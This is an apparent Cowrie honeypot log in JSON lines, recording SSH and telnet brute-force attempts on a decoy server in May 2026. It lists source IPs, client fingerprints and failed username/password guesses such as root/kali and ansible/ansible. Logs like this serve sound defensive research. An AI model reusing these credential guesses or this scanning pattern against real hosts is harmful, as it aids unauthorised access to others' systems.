{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:03.807019Z","src_ip":"45.153.34.114","session":"c4e3951a2942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":45348,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d8634dcafe3","protocol":"telnet","message":"New connection: 74.91.213.120:45348 (159.203.135.109:23) [session: 4d8634dcafe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:05.518822Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48854,"dst_ip":"159.203.135.109","dst_port":22,"session":"6014951524b9","protocol":"ssh","message":"New connection: 45.153.34.114:48854 (159.203.135.109:22) [session: 6014951524b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:10.720467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:10.726799Z","src_ip":"45.153.34.114","session":"6014951524b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:10.813629Z","src_ip":"45.153.34.114","session":"6014951524b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:11.093798Z","src_ip":"45.153.34.114","session":"6014951524b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.13280487060547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:11.222340Z","src_ip":"74.91.213.120","session":"e1a5c0cdfde9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14345097541809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:11.495606Z","src_ip":"74.91.213.120","session":"677aef17196d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:12.187906Z","src_ip":"45.153.34.114","session":"6014951524b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48866,"dst_ip":"159.203.135.109","dst_port":22,"session":"669f75cdfdc1","protocol":"ssh","message":"New connection: 45.153.34.114:48866 (159.203.135.109:22) [session: 669f75cdfdc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:18.968909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:18.974071Z","src_ip":"45.153.34.114","session":"669f75cdfdc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:19.059417Z","src_ip":"45.153.34.114","session":"669f75cdfdc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:19.321882Z","src_ip":"45.153.34.114","session":"669f75cdfdc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:20.415891Z","src_ip":"45.153.34.114","session":"669f75cdfdc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.146989583969116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:23.823596Z","src_ip":"74.91.213.120","session":"2795c1cccef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741157054901123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:25.412672Z","src_ip":"74.91.213.120","session":"be4da7ea0d3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47634,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5bcb8be064c","protocol":"ssh","message":"New connection: 45.153.34.114:47634 (159.203.135.109:22) [session: e5bcb8be064c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:26.982740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:26.986804Z","src_ip":"45.153.34.114","session":"e5bcb8be064c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:27.070738Z","src_ip":"45.153.34.114","session":"e5bcb8be064c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:27.357767Z","src_ip":"45.153.34.114","session":"e5bcb8be064c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:28.446808Z","src_ip":"45.153.34.114","session":"e5bcb8be064c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":56838,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bd08dcaf373","protocol":"telnet","message":"New connection: 74.91.213.120:56838 (159.203.135.109:23) [session: 1bd08dcaf373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:29.783987Z"}
{"eventid":"cowrie.session.closed","duration":31.208072662353516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:30.124652Z","src_ip":"74.91.213.120","session":"c4fd992d36db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":56848,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f0241f7c5ab","protocol":"telnet","message":"New connection: 74.91.213.120:56848 (159.203.135.109:23) [session: 4f0241f7c5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:34.106935Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49336,"dst_ip":"159.203.135.109","dst_port":22,"session":"1914eff5f662","protocol":"ssh","message":"New connection: 45.153.34.114:49336 (159.203.135.109:22) [session: 1914eff5f662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:35.194578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:35.199646Z","src_ip":"45.153.34.114","session":"1914eff5f662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:35.287556Z","src_ip":"45.153.34.114","session":"1914eff5f662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:35.559996Z","src_ip":"45.153.34.114","session":"1914eff5f662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:36.648457Z","src_ip":"45.153.34.114","session":"1914eff5f662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.146897554397583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:36.665578Z","src_ip":"74.91.213.120","session":"4d8634dcafe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40952,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa8beeb646db","protocol":"ssh","message":"New connection: 45.153.34.114:40952 (159.203.135.109:22) [session: aa8beeb646db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:43.072829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:43.087334Z","src_ip":"45.153.34.114","session":"aa8beeb646db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:43.167341Z","src_ip":"45.153.34.114","session":"aa8beeb646db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:43.494310Z","src_ip":"45.153.34.114","session":"aa8beeb646db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:44.582639Z","src_ip":"45.153.34.114","session":"aa8beeb646db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":60860,"dst_ip":"159.203.135.109","dst_port":23,"session":"615200231b0e","protocol":"telnet","message":"New connection: 74.91.213.120:60860 (159.203.135.109:23) [session: 615200231b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:48.881185Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39034,"dst_ip":"159.203.135.109","dst_port":22,"session":"2657d036ae94","protocol":"ssh","message":"New connection: 45.153.34.114:39034 (159.203.135.109:22) [session: 2657d036ae94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:51.117509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:51.123653Z","src_ip":"45.153.34.114","session":"2657d036ae94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:51.205343Z","src_ip":"45.153.34.114","session":"2657d036ae94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:51.563940Z","src_ip":"45.153.34.114","session":"2657d036ae94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:52.650633Z","src_ip":"45.153.34.114","session":"2657d036ae94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.76.219.163","src_port":50836,"dst_ip":"159.203.135.109","dst_port":22,"session":"84da8b8baf9f","protocol":"ssh","message":"New connection: 220.76.219.163:50836 (159.203.135.109:22) [session: 84da8b8baf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:54.898284Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:54.903331Z","src_ip":"220.76.219.163","session":"84da8b8baf9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.76.219.163","src_port":50852,"dst_ip":"159.203.135.109","dst_port":22,"session":"69828844b9d7","protocol":"ssh","message":"New connection: 220.76.219.163:50852 (159.203.135.109:22) [session: 69828844b9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:55.103691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:55.108598Z","src_ip":"220.76.219.163","session":"69828844b9d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:55.319049Z","src_ip":"220.76.219.163","session":"69828844b9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:55.943376Z","src_ip":"220.76.219.163","session":"69828844b9d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:57.153716Z","src_ip":"220.76.219.163","session":"69828844b9d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50062,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccaf84ea4f1b","protocol":"ssh","message":"New connection: 45.153.34.114:50062 (159.203.135.109:22) [session: ccaf84ea4f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:59.460380Z"}
